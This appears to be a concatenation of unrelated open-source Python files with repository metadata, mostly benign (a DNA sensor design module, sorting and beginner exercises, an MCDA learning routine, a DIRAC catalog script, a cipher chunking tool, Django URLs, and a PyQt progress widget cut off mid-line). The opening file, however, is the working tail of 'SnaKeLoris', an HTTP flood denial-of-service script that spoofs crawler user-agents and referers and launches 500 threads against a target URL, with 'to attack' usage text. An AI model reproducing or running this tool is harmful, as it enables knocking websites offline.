verifier') headers_useragents.append('Fast Crawler Gold Edition') headers_useragents.append('FAST Enterprise Crawler 6 (Experimental)') headers_useragents.append('FAST Enterprise Crawler 6 / Scirus [email protected]; http://www.scirus.com/srsapp/contactus/') headers_useragents.append('FAST Enterprise Crawler 6 used by Cobra Development ([email protected])') headers_useragents.append('FAST Enterprise Crawler 6 used by Comperio AS ([email protected])') headers_useragents.append('FAST Enterprise Crawler 6 used by FAST (FAST)') headers_useragents.append('FAST Enterprise Crawler 6 used by Pages Jaunes ([email protected])') headers_useragents.append('FAST Enterprise Crawler 6 used by Sensis.com.au Web Crawler (search_comments\at\sensis\dot\com\dot\au)') headers_useragents.append('FAST Enterprise Crawler 6 used by Singapore Press Holdings ([email protected])') headers_useragents.append('FAST Enterprise Crawler 6 used by WWU ([email protected])') headers_useragents.append('FAST Enterprise Crawler/6 (www.fastsearch.com)') return(headers_useragents) # generates a referer array return(headers_useragents) # generates a referer array def referer_list(): global headers_referers headers_referers.append('http://www.google.com/?q=') headers_referers.append('http://www.usatoday.com/search/results?q=') headers_referers.append('http://engadget.search.aol.com/search?q=') headers_referers.append('www.ask.com/?q=') headers_referers.append('www.bing.com/?q=') headers_referers.append('http://' + host + '/') return(headers_referers) #builds random ascii string def buildblock(size): out_str = '' for i in range(0, size): a = random.randint(65, 90) out_str += chr(a) return(out_str) def usage(): print '---------------------------------------------------' print 'to attack:' print '#Windows: SnaKeLoris.py http://www.exemplo.com/' print '#Linux: python SnaKeLoris.py http://www.exemplo.com/' print "\a" print \ """ f---\-/---Y |f /l Y j\\,| l ( \-"-^-"-/ ) j `.`. Y`-^-'f .',' l_)|`-^-'|(_j _____ ,'` -^- '`.,-'", < "`-. f`--------'|> < > , > ' `-. _.,-----. l`--------'l < ' ,--. < > `---"', '_,--.`-.._, \`--------'`-.,' `. , '< > , ,'" "`--' `._______.-'" `-._____.,-' [+] SnaKeLoris [+] Script By EyuB@@ and Centr@s7 """ print '---------------------------------------------------' #http request def httpcall(url): useragent_list() referer_list() code=0 if url.count("?")>0: param_joiner="&" else: param_joiner="?" request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10))) request.add_header('User-Agent', random.choice(headers_useragents)) request.add_header('Cache-Control', 'no-cache') request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7') request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10))) request.add_header('Keep-Alive', random.randint(110,120)) request.add_header('Connection', 'keep-alive') request.add_header('Host',host) try: urllib2.urlopen(request) except urllib2.HTTPError, e: #print e.code set_flag(1) print 'Bots Is Connect packets upload' code=500 except urllib2.URLError, e: #print e.reason sys.exit() else: inc_counter() urllib2.urlopen(request) return(code) #http caller thread class HTTPThread(threading.Thread): def run(self): try: while flag<2: code=httpcall(url) if (code==500) & (safe==1): set_flag(2) except Exception, ex: pass # monitors http threads and counts requests class MonitorThread(threading.Thread): def run(self): previous=request_counter while flag==0: if (previous+100<request_counter) & (previous<>request_counter): print "%d Shots sends Senting" % (request_counter) previous=request_counter if flag==2: print "\n -SnakeLoris Hits are secced" #execute if len(sys.argv) < 2: usage() sys.exit() else: if sys.argv[1]=="help": usage() sys.exit() else: print "#OpMassiveATK SnaKeLoris" if len(sys.argv)== 3: if sys.argv[2]=="safe": set_safe() url = sys.argv[1] if url.count("/")==2: url = url + "/" m = re.search('http\://([^/]*)/?.*', url) host = m.group(1) for i in range(500): t = HTTPThread() t.start() t = MonitorThread() t.start()
blacksaw1997/erdo
snakeloris.py
Python
gpl-3.0
19,151
''' Copyright 2016, 2017 Aviva Bulow This file is part of Fealden. Fealden is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. Fealden is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with Fealden. If not, see <http://www.gnu.org/licenses/>. ''' import sensor, node, fold, fealden import random, time, shutil, os, tempfile, subprocess class Seed: ''' __init__() is the constructor for the class seed. Parameters: initData <-- A List. The graph data obtained from the seed file (see the comment for make_graph() to see how this data is structured). recNodeName <-- A string. The name of the node which is to contain the recognition sequence. As with all node names, it is a number. eg. the string '1', '2', '3' etc. recSeq <-- A string. The recognition sequence. bindingState <-- An integer, 0 or 1, representing the binding state of the recognition sequence. 0 is for DS, 1 is for SS. seedName <-- A string. The name of the seed graph maxSensorSize <-- An integer. The maximum number of bases the user allows the sensor to be. Returns: A Seed object ''' def __init__(self, initData, recNodeName, recSeq, bindingState, seedName, maxSensorSize): self.name = seedName self.head = node.SSNode(None) self.nodes = {} self.recNodeName = recNodeName self.recSeq = recSeq self.bindingState = bindingState self.maxSensorSize = maxSensorSize self.make_graph(initData, self.head, self.nodes, recNodeName, recSeq) ''' make_graph() uses the seed graph data to construct the graph. The data looks like this: [2 1 3 3 5, <- This line represents the data for one node 3 2 2, 5 2 4, 4 5 7 7 0, 7 4 4] Each node is represented by a number. Non zero evens correspond to DSNodes, odds correspond to SSNodes, and 0 corresponds to None. The first node is always represented by 1, which must correspond to an SSNode. In cases where the first node is actually a DSNode, the SSNode '1' will simply have length 0 (ie no base pairs are in the node). The first number in the data for a particular node will be the nodes number. The next number is the number representing the node's progenitor. The following numbers are the other nodes which can be linked through this one. If the current node is an SSNode, there will only be one other number, the downstream DSNode of this SSNode. If the current node is a DSNode, then there will be three more numbers. The first is the link to the MidSSNode1, the next to MidSSNode2, the last is to the downstreamSSnode. (In all cases, the links are listed in the order in which they would be encountered if the DNA strand were traced in the 5' to 3' direction.) Examples are given below. 2 1 3 3 5 The first number is a 2, so this is a DSNode, we're calling it '2'. '2' has a progenitor (also called the upstream SSNode, attached to the 5' end of the "leading segment"). We're calling it '1'. '2' has a midSSNode1 (the SSNode that will be attached to the 3' end of the "leading segment"). We're calling this SSNode, '3'. '2' also has a midSSNode2 (the SSNode that will be attached to 5' end of the "lagging segment"). This SSNode is also called '3', so it's the same as midSSNode1. '2' has a downstream SSNode (attached to the 5' end of the "lagging segment"), we're calling this SSNode '5'. 3 2 2 The first number is a 3, which is odd, so this is a SSNode, and we're calling it '3.' '3' has progenitor '2', so '3' is attached at it's 5' end to the DSNode called '2.' '3' has downstream DSNode '2', so '3' is attached at it's 3' end to the DSNode called '2.' (We can see that '3' must be a loop.) There are a few more rules for the seed graph data: 1) The first line of data must represent the first real node of the graph. (ie it must be the node in which the first base pair from the 5' end will be.) 2) If the graph starts with a DSNode, its progenitor must be listed as '1'. 3) If the graph starts with an SSNode, the first node must be named '1', and its progenitor must be '0.' Parameters: data <-- A list. The data described above. current <-- An object of the class Node. The node currently under construction. nodes <-- A dictionary of Node objects. This dictionary will eventually contain all the nodes used in this seed graph. recNodeName <-- A string. The name (which is also a key in the nodes dictionary) of the node which will contain the recognition sequence. recSeq <-- A string. The recognition sequence. Returns: Nothing ''' def make_graph(self, data, current, nodes, recNodeName, recSeq): firstNodeData = data[0].split() if int(firstNodeData[0]) % 2 == 0: current.set_length(0) nodes[firstNodeData[1]] = current nodes[firstNodeData[0]] = node.DSNode(current) current.set_downstreamDSNode(nodes[firstNodeData[0]]) self.build_the_rest(data, nodes) else: nodes[firstNodeData[0]] = current prev = current current = node.DSNode(prev) prev.set_downstreamDSNode(current) nodes[firstNodeData[2]] = current self.build_the_rest(data[1:], nodes) ''' build_the_rest() is an auxiliary function of make_graph. ''' def build_the_rest(self, data, nodes): if not data: #The list "data" is empty, we are out of data return #"data" has at least one element currentLine = data[0].split() current = nodes[currentLine[0]] links = [] for i, v in enumerate(currentLine[2:]): if v in nodes: links.append(nodes[v]) if i == 2: #have to set prog. the prog this node was made with is actually a child nodes[v].set_progenitor(current) elif v == '0': links.append(None) nodes[v] = None elif int(v) % 2 == 0: #New DSNode nodes[v] = node.DSNode(current) links.append(nodes[v]) else:#new SSNode nodes[v] = node.SSNode(current) links.append(nodes[v]) current.set_links(links) self.build_the_rest(data[1:], nodes) ''' build_sensor() first builds a 'Sensor' sequence using the 'Seed' of 'self' and an object of the 'random.Random' class. The sensor sequence is constructed. In some cases the seed graph may require the use of more bases than permitted by the user. In that case, this function returns None. Otherwise the sensors sequence is fed to UNAFold's hybrid-ss-min method. A 'Sensor' object is then constructed from the resulting data. This object is returned. Parameters: core <-- An integer, the number of the processor using this function. version <-- An integer, the number of the sensor being built on this seed. (ie. if this is the 1047th sensor built by processor 3 from seed graph number 4: core = 3 and version = 1047). Returns: a Sensor object ''' def build_sensor(self, core, version): rand = random.Random() self.generate_node_sizes(rand) self.populate_nodes(rand) seq = self.get_sequence() #some graphs may result in sequences of larger length than maxSensorSize set by user if len(seq) > self.maxSensorSize: return None (leadingRecDat, laggingRecDat) = self.nodes[self.recNodeName].get_rec_seq_data() # hybrid-ss-min (the relevant UNAFold method) reads a sequence from a file and # writes the data to a .ct file tempdir = tempfile.mkdtemp() seq_file_name = ''.join([str(core), str(version)]) try: seqfile = open( os.path.join( tempdir, seq_file_name ), "w+" ) seqfile.write(str(seq)) seqfile.close() except IOError: print("run_hybrid_ss_min(): can't create sequence file") command = ['hybrid-ss-min','-n','DNA','--tmin=25', '--tmax=25', '--sodium=0.15', '--magnesium=0.005','--mfold=50,-1,100', seq_file_name] # Run hybrid-ss-min try: subprocess.check_call(command,cwd=tempdir, stdout=open("/dev/null")) except IOError: print("run_hybrid_ss_min(): call " + command + " failed") # hybrid-ss-min creates a number of files each run, we are concerned only with # the .ct file fname = os.path.join(tempdir, seq_file_name + ".ct") f = open(fname) sen = sensor.Sensor(f, leadingRecDat, laggingRecDat, self.bindingState, self.name) f.close() # Remove all temporary files associated with UNAfold run shutil.rmtree(tempdir) return sen ''' generate_node_sizes() semi-randomly determines the size of the sensor, based on this number, a size for each node which represents physical DNA is assigned. Each node is given a minimum length of three bases or three base-pairs, depending on node type. One of the nodes contains the recognition sequence, its minimum size is the length of that sequence. Based on these minimums and the sensor size, the number of 'used bases' is calculated and subtracted from the sensor size. This new number is the number of bases left which are then assigned, randomly, to nodes. This method of determining node size, while slightly complex, avoids many issues of other methods which compromise the impartiality of random node size selection because the sensor has a size limit. Parameters: rand <-- a pointer to an object of the class 'random' Returns: Nothing ''' def generate_node_sizes(self, rand): self.nodes[self.recNodeName].set_length(len(self.recSeq)) #min len of node with recSeq #print "rec seq node len is " + str(self.nodes[self.recNodeName].get_length()) MAX_SIZE = self.maxSensorSize MIN_SIZE = 20 size = rand.randint(MIN_SIZE, MAX_SIZE) MIN_NODE_SIZE = 3 #to allow for loop SSNodes? realNodes = {} for n in self.nodes: #initializing "real" (ie rep. physical DNA) nodes to min size current = self.nodes[n] if current == None: #this is not a 'real' node continue length = current.get_length() if length == 0:# this is not a 'real' node continue if length == -1: #is empty if current.get_state() == fold.Fold.SEQ_STATE["DS"]: #is DS realNodes[n] = (current, MIN_NODE_SIZE) size -= MIN_NODE_SIZE*2 #DS node uses 2X the number of bps else: #is SS realNodes[n] = (current, MIN_NODE_SIZE) size -= MIN_NODE_SIZE else: #is not empty (ie. has recognition seq.) if current.get_state() == fold.Fold.SEQ_STATE["DS"]: #is DS realNodes[n] = (current, length) size -= 2*length #DS node uses 2X the number of bps else: # is SS realNodes[n] = (current, length) size -= length keys = [n for n in realNodes] # a list of the 'key' names in the realNodes dict while size > 0: #increasing the size of random nodes until size limit is reached key = random.choice(keys) (current, length) = realNodes[key] if current.get_state() == fold.Fold.SEQ_STATE["DS"]: #is DS realNodes[key] = (current, length+1) size -=2 #DS node uses 2X the number of bps else: #is SS realNodes[key] = (current, length+1) size -=1 for r in realNodes: #assigning the new sizes to the respective nodes (n, s) = realNodes[r] n.set_length(s) ''' populate_nodes() populates the empty nodes with DNA bases (ie. A, C, T, or G) this method requires that all nodes, which are not None, have a length. Parameters: rand <-- a pointer to an object of a class from the module 'random' Returns: Nothing ''' def populate_nodes(self, rand): for n in list(self.nodes.values()): if n == None: continue length = n.get_length() seq = [] #if this is the node with the recognition sequence we treat it differently if n == self.nodes[self.recNodeName]: #is node with recognition sequence extra = n.get_length() - len(self.recSeq) #the length not required for the recSeq if extra != 0: relLocRecSeq = rand.randint(1, extra) #the position of the recSeq in the node n.set_relLocRecStart(relLocRecSeq) #print "TADA: rel loc of rec seq is " + str(relLocRecSeq) n.set_relLocRecEnd(extra - (relLocRecSeq-1)+1) #print 'there are ' + str(extra - (relLocRecSeq -1)) + ' spots left.' #print 'rec seq size is ' + str(len(self.recSeq)) #print 'node size is ' + str(n.get_length()) #print 'node is ' + str(n) seq = self.generate_rand_DNA_string(relLocRecSeq-1, rand) end = self.generate_rand_DNA_string(extra - (relLocRecSeq-1), rand) seq.extend(self.recSeq) seq.extend(end) else: #print "TADA: relative loc of rec seq is 1." n.set_relLocRecStart(1) n.set_relLocRecEnd(1) seq = list(self.recSeq) else: #this node does not contain the recognition sequence seq = self.generate_rand_DNA_string(length, rand) n.set_seq(seq) ''' generate_rand_DNA_string() generates a list of pseudo-randomly selected DNA bases (ie. A, C, T, or G) of a specified size. Parameters: size <-- an integer, the size of the desired list rand <-- a pointer to an object of the 'random' class Returns: a list of random DNA letters ''' def generate_rand_DNA_string(self, size, rand): if size ==0: return [] return [ rand.choice(['A', 'T', 'C', 'G']) for i in range(0, size) ] ''' get_sequence() returns the sequence represented by the populated nodes of the seed graph up to a given node. If the nodes are not populated, the function will return an empty sequence. Parameters: None Returns: A string. The sequence that was constructed using this seed graph. ''' def get_sequence(self): prev = self.head (sequence, current) = prev.get_seq_and_next_node(None, 0) while current != None: (seq, nxt) = current.get_seq_and_next_node(prev, len(sequence)) sequence.extend(seq) prev = current current = nxt return sequence
aviva-bulow/fealden-0.2
fealden/seed.py
Python
gpl-3.0
16,679
def findSmallest(arr): smallest = arr[0] smallest_index = 0 for i in range(1, len(arr)): if arr[i] < smallest: smallest = arr[i] smallest_index = i return smallest_index def selectionSort(arr): newArr = [] for i in range(len(arr)): smallest = findSmallest(arr) newArr.append(arr.pop(smallest)) return newArr a = [5, 3, 6, 2, 10] print(selectionSort(a))
serggrom/python-algorithms
Selection_sort.py
Python
gpl-3.0
434
usernames = ['tim05','admin','superman1','wethebestmusic','usersaurus'] if usernames: for username in usernames: if username == 'admin': print("Hello admin, would you like to see a status report?") else: print("Hello " + username + ", thank you for logging in again.") else: print("We need to find some users!") usernames = [] if usernames: for username in usernames: if username == 'admin': print("Hello admin, would you like to see a status report?") else: print("Hello " + username + ", thank you for logging in again.") else: print("We need to find some users!")
lukeebhert/python_crash_course
Chapter_5/no_users.py
Python
gpl-3.0
673
from __future__ import division import errno import os, sys sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)) + "/../../") import random import math from itertools import product from multiprocessing import Pool, Process, Queue from threading import Thread from pymcda.electre_tri import MRSort from pymcda.types import AlternativeAssignment, AlternativesAssignments from pymcda.types import PerformanceTable from pymcda.learning.heur_mrsort_init_veto_profiles import HeurMRSortInitVetoProfiles from pymcda.learning.lp_mrsort_weights import LpMRSortWeightsPositive from pymcda.learning.lp_mrsort_veto_weights import LpMRSortVetoWeights from pymcda.learning.heur_mrsort_profiles5 import MetaMRSortProfiles5 from pymcda.learning.heur_mrsort_veto_profiles5 import MetaMRSortVetoProfiles5 from pymcda.utils import compute_ca from pymcda.pt_sorted import SortedPerformanceTable from pymcda.generate import generate_random_mrsort_model from pymcda.generate import generate_random_mrsort_model_with_coalition_veto from pymcda.generate import generate_random_veto_profiles from pymcda.generate import generate_alternatives from pymcda.generate import generate_categories_profiles from pymcda.generate import generate_random_profiles def queue_get_retry(queue): while True: try: return queue.get() except IOError, e: if e.errno == errno.EINTR: continue else: raise class MetaMRSortVCPop4(): def __init__(self, nmodels, criteria, categories, pt_sorted, aa_ori, lp_weights = LpMRSortWeightsPositive, heur_profiles = MetaMRSortProfiles5, lp_veto_weights = LpMRSortVetoWeights, heur_veto_profiles= MetaMRSortVetoProfiles5, seed = 0): self.nmodels = nmodels self.criteria = criteria self.categories = categories self.pt_sorted = pt_sorted self.aa_ori = aa_ori self.lp_weights = lp_weights self.heur_profiles = heur_profiles self.lp_veto_weights = lp_veto_weights self.heur_veto_profiles = heur_veto_profiles self.metas = list() for i in range(self.nmodels): meta = self.init_one_meta(i + seed) self.metas.append(meta) def init_one_meta(self, seed): cps = generate_categories_profiles(self.categories) model = MRSort(self.criteria, None, None, None, cps) model.id = 'model_%d' % seed meta = MetaMRSortCV4(model, self.pt_sorted, self.aa_ori, self.lp_weights, self.heur_profiles, self.lp_veto_weights, self.heur_veto_profiles) random.seed(seed) meta.random_state = random.getstate() meta.auc = meta.model.auc(self.aa_ori, self.pt_sorted.pt) return meta def sort_models(self): metas_sorted = sorted(self.metas, key = lambda (k): k.ca, reverse = True) return metas_sorted def reinit_worst_models(self): metas_sorted = self.sort_models() nmeta_to_reinit = int(math.ceil(self.nmodels / 2)) for meta in metas_sorted[nmeta_to_reinit:]: meta.init_profiles() def _process_optimize(self, meta, nmeta): random.setstate(meta.random_state) ca = meta.optimize(nmeta) meta.queue.put([ca, meta.model.bpt, meta.model.cv, meta.model.lbda, meta.model.vpt, meta.model.veto_weights, meta.model.veto_lbda, random.getstate()]) def optimize(self, nmeta): self.reinit_worst_models() for meta in self.metas: meta.queue = Queue() meta.p = Process(target = self._process_optimize, args = (meta, nmeta)) meta.p.start() for meta in self.metas: output = queue_get_retry(meta.queue) meta.ca = output[0] meta.model.bpt = output[1] meta.model.cv = output[2] meta.model.lbda = output[3] meta.model.vpt = output[4] meta.model.veto_weights = output[5] meta.model.veto_lbda = output[6] meta.random_state = output[7] meta.auc = meta.model.auc(self.aa_ori, self.pt_sorted.pt) self.models = {meta.model: meta.ca for meta in self.metas} metas_sorted = self.sort_models() return metas_sorted[0].model, metas_sorted[0].ca class MetaMRSortCV4(): def __init__(self, model, pt_sorted, aa_ori, lp_weights = LpMRSortVetoWeights, heur_profiles = MetaMRSortProfiles5, lp_veto_weights = LpMRSortVetoWeights, heur_veto_profiles = MetaMRSortVetoProfiles5): self.model = model self.pt_sorted = pt_sorted self.aa_ori = aa_ori self.lp_weights = lp_weights self.heur_profiles = heur_profiles self.lp_veto_weights = lp_veto_weights self.heur_veto_profiles = heur_veto_profiles self.init_profiles() self.lp = self.lp_weights(self.model, self.pt_sorted.pt, self.aa_ori) self.lp.solve() self.meta = self.heur_profiles(self.model, self.pt_sorted, self.aa_ori) self.ca = self.meta.good / self.meta.na def init_profiles(self): bpt = generate_random_profiles(self.model.profiles, self.model.criteria) self.model.bpt = bpt self.model.vpt = None def init_veto_profiles(self): worst = self.pt_sorted.pt.get_worst(self.model.criteria) vpt = generate_random_veto_profiles(self.model, worst) self.model.vpt = vpt def optimize(self, nmeta): self.lp.update_linear_program() self.lp.solve() self.meta.rebuild_tables() best_ca = self.meta.good / self.meta.na best_bpt = self.model.bpt.copy() for i in range(nmeta): ca = self.meta.optimize() if ca > best_ca: best_ca = ca best_bpt = self.model.bpt.copy() if ca == 1: break self.model.bpt = best_bpt if self.model.vpt is None: self.init_veto_profiles() best_vpt = None else: best_vpt = self.model.vpt.copy() self.vlp = self.lp_veto_weights(self.model, self.pt_sorted.pt, self.aa_ori) self.vlp.solve() self.vmeta = self.heur_veto_profiles(self.model, self.pt_sorted, self.aa_ori) # self.vlp.update_linear_program() # self.vlp.solve() self.vmeta.rebuild_tables() best_ca = self.vmeta.good / self.vmeta.na for i in range(nmeta): ca = self.vmeta.optimize() if ca > best_ca: best_ca = ca best_vpt = self.model.vpt.copy() if ca == 1: break self.model.vpt = best_vpt return best_ca if __name__ == "__main__": import time import random from pymcda.generate import generate_alternatives from pymcda.generate import generate_random_performance_table from pymcda.generate import generate_random_criteria_weights from pymcda.generate import generate_random_mrsort_model_with_coalition_veto from pymcda.utils import compute_winning_and_loosing_coalitions from pymcda.utils import compute_confusion_matrix, print_confusion_matrix from pymcda.types import AlternativePerformances from pymcda.ui.graphic import display_electre_tri_models # Generate a random ELECTRE TRI BM model model = generate_random_mrsort_model_with_coalition_veto(7, 2, 5, veto_weights = True) # model = generate_random_mrsort_model(7, 2, 1) worst = AlternativePerformances("worst", {c.id: 0 for c in model.criteria}) best = AlternativePerformances("best", {c.id: 1 for c in model.criteria}) # Generate a set of alternatives a = generate_alternatives(1000) pt = generate_random_performance_table(a, model.criteria) aa = model.get_assignments(pt) nmeta = 20 nloops = 10 print('Original model') print('==============') cids = model.criteria.keys() model.bpt.display(criterion_ids = cids) model.cv.display(criterion_ids = cids) print("lambda\t%.7s" % model.lbda) if model.vpt is not None: model.vpt.display(criterion_ids = cids) if model.veto_weights is not None: model.veto_weights.display(criterion_ids = cids) print("veto_lambda\t%.7s" % model.veto_lbda) ncriteria = len(model.criteria) ncategories = len(model.categories) pt_sorted = SortedPerformanceTable(pt) t1 = time.time() categories = model.categories_profiles.to_categories() meta = MetaMRSortVCPop4(10, model.criteria, categories, pt_sorted, aa) for i in range(nloops): model2, ca = meta.optimize(nmeta) print("%d: ca: %f" % (i, ca)) if ca == 1: break t2 = time.time() print("Computation time: %g secs" % (t2-t1)) print('Learned model') print('=============') model2.bpt.display(criterion_ids = cids) model2.cv.display(criterion_ids = cids) print("lambda\t%.7s" % model2.lbda) if model2.vpt is not None: model2.vpt.display(criterion_ids = cids) if model2.veto_weights is not None: model2.veto_weights.display(criterion_ids = cids) print("veto_lambda\t%.7s" % model2.veto_lbda) aa_learned = model2.get_assignments(pt) total = len(a) nok = 0 anok = [] for alt in a: if aa(alt.id) <> aa_learned(alt.id): anok.append(alt) nok += 1 print("Good assignments: %g %%" % (float(total-nok)/total*100)) print("Bad assignments : %g %%" % (float(nok)/total*100)) matrix = compute_confusion_matrix(aa, aa_learned, model.categories) print_confusion_matrix(matrix, model.categories) model.id = "original" model2.id = "learned" display_electre_tri_models([model, model2], [worst, worst], [best, best], [[ap for ap in model.vpt], [ap for ap in model2.vpt]])
oso/pymcda
pymcda/learning/meta_mrsortvc4.py
Python
gpl-3.0
10,494
#! /usr/bin/env python """ Change current DIRAC File Catalog working directory """ from __future__ import absolute_import from __future__ import division from __future__ import print_function import os from COMDIRAC.Interfaces import critical from COMDIRAC.Interfaces import DSession from COMDIRAC.Interfaces import DCatalog from COMDIRAC.Interfaces import pathFromArgument from COMDIRAC.Interfaces import ConfigCache from DIRAC.Core.Utilities.DIRACScript import DIRACScript as Script @Script() def main(): Script.setUsageMessage( "\n".join( [ __doc__.split("\n")[1], "Usage:", " %s [Path]" % Script.scriptName, "Arguments:", " Path: path to new working directory (defaults to home directory)", "", "Examples:", " $ dcd /dirac/user", " $ dcd", ] ) ) configCache = ConfigCache() Script.parseCommandLine(ignoreErrors=True) configCache.cacheConfig() args = Script.getPositionalArgs() import DIRAC session = DSession() if len(args) > 1: print("Error: too many arguments provided\n%s:" % Script.scriptName) Script.showHelp() DIRAC.exit(-1) if len(args): arg = pathFromArgument(session, args[0]) else: arg = session.homeDir() catalog = DCatalog() if catalog.isDir(arg): if session.getCwd() != arg: session.setCwd(arg) session.write() else: critical('Error: "%s" not a valid directory' % arg) if __name__ == "__main__": main()
DIRACGrid/COMDIRAC
src/COMDIRAC/Interfaces/scripts/dcd.py
Python
gpl-3.0
1,668
import numpy as np data = [(1,2),(3,4)] np.save("temp.npy",data) stuff = np.load("temp.npy") print data print stuff print stuff == data
azariven/BioSig_SEAS
bin/test/test_np_save_load.py
Python
gpl-3.0
143
#!/usr/bin/env python3 # Copyright 2009-2017 BHG http://bw.org/ def main(): infile = open('lines.txt', 'rt') outfile = open('lines-copy.txt', 'wt') for line in infile: print(line.rstrip(), file=outfile) print('.', end='', flush=True) outfile.close() print('\ndone.') if __name__ == '__main__': main()
shucommon/little-routine
python/ex_files_python_esst/exercise_files/Chap12/copy-text.py
Python
gpl-3.0
339
#!/usr/bin/env python3 """ Splitting text into chunks (a la polybius). Use the value of the -c parameter to set how long blocks to accumulate are. To assign a letter to each block in order to allow cryptanalysis with other tools, use -a. """ import re import sys import string import argparse import itertools acc_codex = string.ascii_uppercase + string.digits def get_args(): parser = argparse.ArgumentParser(description=__doc__) parser.add_argument("input", type=argparse.FileType("r"), help="input file") parser.add_argument("-c", "--chunk", default=2, type=int, help="chunk length") parser.add_argument("-a", "--accumulate", action="store_true", help="accumulate chunks into single characters") return parser.parse_args() def chunk(it, n): return itertools.zip_longest(*[iter(it)] * n, fillvalue=" ") def accumulate_chars(plain, chunk_length): combs = {} for a in map("".join, chunk(plain, chunk_length)): if a not in combs: combs[a] = len(combs) if len(combs) > len(acc_codex): raise IndexError("Ran out of symbols") sys.stdout.write(acc_codex[combs[a]]) print() if __name__ == "__main__": args = get_args() plain = re.findall("[a-zA-Z]", args.input.read()) if args.accumulate: accumulate_chars(plain, args.chunk) else: print(" ".join(map("".join, chunk(plain, args.chunk))))
elterminad0r/cipher_tools
src/scripts/chunk_text.py
Python
gpl-3.0
1,484
from django.conf.urls import patterns, url from ..views import (LoanListView, LoanCreateView, LoanDetailView, LoanUpdateView, LoanDeleteView) from django.contrib.auth.decorators import login_required urlpatterns = patterns('', url(r'^create/$', # NOQA login_required(LoanCreateView.as_view()), name="loan_create"), url(r'^(?P<pk>\d+)/update/$', login_required(LoanUpdateView.as_view()), name="loan_update"), url(r'^(?P<pk>\d+)/delete/$', login_required(LoanDeleteView.as_view()), name="loan_delete"), url(r'^(?P<pk>\d+)/$', LoanDetailView.as_view(), name="loan_detail"), url(r'^$', LoanListView.as_view(), name="loan_list"), )
show0k/ressources_management_django
flowers_ressources_management/resources/urls/loan_urls.py
Python
gpl-3.0
756
from PyQt5.QtWidgets import QWidget, QFrame, QVBoxLayout, QGridLayout, QLabel, QProgressBar; from PyQt5 import QtCore; import re, time; import numpy as np; from datetime import timedelta; from threading import Thread, Lock; durPattern = re.compile('Duration: [0-9]{2}:[0-9]{2}:[0-9]{2}.[0-9]{2}'); # Pattern for finding times timPattern = re.compile('time=[0-9]{2}:[0-9]{2}:[0-9]{2}.[0-9]{2}'); # Pattern for finding times convert = np.asarray( [3600.0, 60.0, 1.0] ); # Conversion for total time def parseTime( time ): '''Function for converting time string to total seconds''' time = time.split('=')[-1]; return (np.asarray(time.split(':'), dtype = float) * convert).sum(); def parseDuration( time ): '''Function for converting time string to total seconds''' time = time.split()[-1]; return (np.asarray(time.split(':'), dtype = float) * convert).sum(); ################################################################################ ################################################################################ ################################################################################ ################################################################################ class progressTrack( QFrame ): maxVal = 150; prog = 25; elapsed = 0.0; progressUpdate = QtCore.pyqtSignal(int); artist = QtCore.pyqtSignal(str); album = QtCore.pyqtSignal(str); track = QtCore.pyqtSignal(str); status = QtCore.pyqtSignal(str); def __init__(self, root, orient = None, mode = None): QFrame.__init__(self); self.time = None; # Initialize variable for computation time self.running = False; # Set running to False artist = QLabel('Artist:'); # Set up label for track artist album = QLabel('Album:'); # Set up label for track album track = QLabel('Track:'); # Set up label for track name self.artistLabel = QLabel(''); # Set label to display track artist using the artist tkinter string var self.albumLabel = QLabel(''); # Set label to display album artist using the album tkinter string var self.trackLabel = QLabel(''); # Set label to display track name using the track tkinter string var self.artist.connect(self.artistLabel.setText) self.album.connect(self.albumLabel.setText) self.track.connect(self.trackLabel.setText); self.progress = QProgressBar(); # Initialize track progress bar self.progress.setMaximum(self.maxVal); # Set maximum value of the track progress bar self.progressUpdate.connect( self.progress.setValue ); status = QLabel(''); # Set up label for status self.status.connect(status.setText); layout = QGridLayout(); layout.setColumnStretch(1, 1); layout.addWidget(artist, 0, 0, 1, 1); layout.addWidget(self.artistLabel, 0, 1, 1, 1); layout.addWidget(album, 1, 0, 1, 1); layout.addWidget(self.albumLabel, 1, 1, 1, 1); layout.addWidget(track, 2, 0, 1, 1); layout.addWidget(self.trackLabel, 2, 1, 1, 1); layout.addWidget(self.progress, 3, 0, 1, 2); layout.addWidget(status, 4, 0, 1, 2); layout.setVerticalSpacing(2); self.setLayout( layout ); self.show(); self.__labelWidth = round( self.progress.width() * 0.75 ); # Get width of progress bar after everything is packed ############################################################################## def updateInfo(self, info): ''' Purpose: Method to update the artist/album/track information Inputs: info : Dictionary of track information ''' track = ''; # Initialize track to empty string if ('Album Artist' in info): # If 'Album Artist' is a key in the info dictionary txt = self.__truncateText( self.artistLabel, info['Album Artist'] ); self.artist.emit( txt ); # Update the artist tkinter string var elif ('Artist' in info): # Else, if 'Artist' is a key in the info dictionary txt = self.__truncateText( self.artistLabel, info['Artist'] ); self.artist.emit( txt ); # Update the artist tkinter string var else: # Else self.artist.emit( '' ); # Update the artist tkinter string var to empty string if ('Album' in info): # If 'Album' is a key in the info dictionary txt = self.__truncateText( self.albumLabel, info['Album'] ); self.album.emit( txt ); # Update the album tkinter string var else: # Else self.album.emit( '' ); # Update the album tkinter string var to empty string if ('Track Number' in info): track += '{:02} '.format(info['Track Number']);# If 'Track Number' is key in the info dictionary, append the track number (with formatting) to the track variable if ('Name' in info): track += info['Name']; # if 'Name' is a key in the info dictionary, append track name to track variable txt =self.__truncateText( self.trackLabel, track); self.track.emit( txt ); # Set the track tkinter string var using the track variable self.status.emit( '' ); # Set status to empty self.progressUpdate.emit( 0 ); # Set the progress bar to zero (0) progress ############################################################################## def updateStatus(self, text, prog = False, finish = False): ''' Purpose: Method to update status text Inputs: text : Text to update status to Keywords: prog : If set to True, will increment the progress bar finish : If set to True, will set progress bar to done ''' self.status.emit( text ); # Update the status text if prog: # If prog is True self.progressUpdate.emit( self.progress.value() + self.prog ); # Update the progress bar if finish: self.progressUpdate.emit( self.maxVal ) # Update the progress bar self.time = time.time() - self.time; # Set time to processing time ############################################################################## def reset(self): ''' Method to reset all values in the frame ''' self.progressUpdate.emit( 0 ); # Set progress to 